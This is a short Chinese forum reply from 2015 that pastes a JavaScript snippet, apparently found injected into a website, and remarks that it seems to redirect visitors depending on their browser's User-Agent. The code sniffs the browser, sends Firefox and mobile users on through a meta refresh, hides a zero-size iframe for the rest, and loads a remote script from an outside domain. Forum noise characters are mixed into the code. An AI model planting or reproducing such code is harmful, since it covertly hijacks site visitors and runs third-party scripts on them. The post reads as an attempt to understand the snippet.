|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
1 z, Q3 a& P/ t- n& t" l! I- var ua = navigator.userAgent.toLowerCase(),8 k$ n' I: [% U6 G4 `
- browser = {
7 f8 j+ P: t- P2 c7 ~ - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
3 U" Z' W9 `8 O. f' d8 d7 m, k - opera: /opera/.test(ua),
0 K9 y+ f+ x1 Y' w" o0 V5 B! [ - maxthon: /maxthon/.test(ua),$ C# B3 y/ [" b# _, _2 x% a5 @
- theworld: /theworld/.test(ua),* V6 N. D1 Y' ]- e' `! H% C
- qq: /qqbrowser/.test(ua),
+ Q/ D% V2 h+ i& D - sogou: /se /.test(ua),' W3 f$ d' G" q: Y6 @
- liebao: /liebao/.test(ua),* P; |' B. v7 B4 O9 c
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),; g7 v4 \$ K9 v3 Y' J6 K
- chrome: /chrome|crios/.test(ua),
; c T3 r) I% n4 T - safari: /webkit/.test(ua),; ?. x1 O# Y1 Y. u
- uc: /ucbrowser/.test(ua),
7 x2 }, [8 r- {1 Q3 v+ Y4 l1 q8 z - ie: /msie/.test(ua) && !/opera/.test(ua)
' t. u6 G* y) D% R1 u' E - };7 K$ F5 R! F* y. ~
- var ver = browser.ver;
; Z5 E& v/ _2 A) F# D' K$ J/ F - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
. W) E# ~- N8 q$ g1 _- f: h - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
: O1 _3 Y) G9 N+ f# \: d/ M: F3 c8 l - } else {) P& w) n) n _! d- w
- window.sc = "<iframe src=" + tourl + "></iframe>";, ]. c( e6 c2 l+ K. z: E0 U o
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");! [* R* u; ]4 y1 [3 f
- }- X7 l9 f/ j! C: B
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 9 p4 z; ]2 l( }/ m/ f% D' |# }
9 r% d* c5 {, u
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|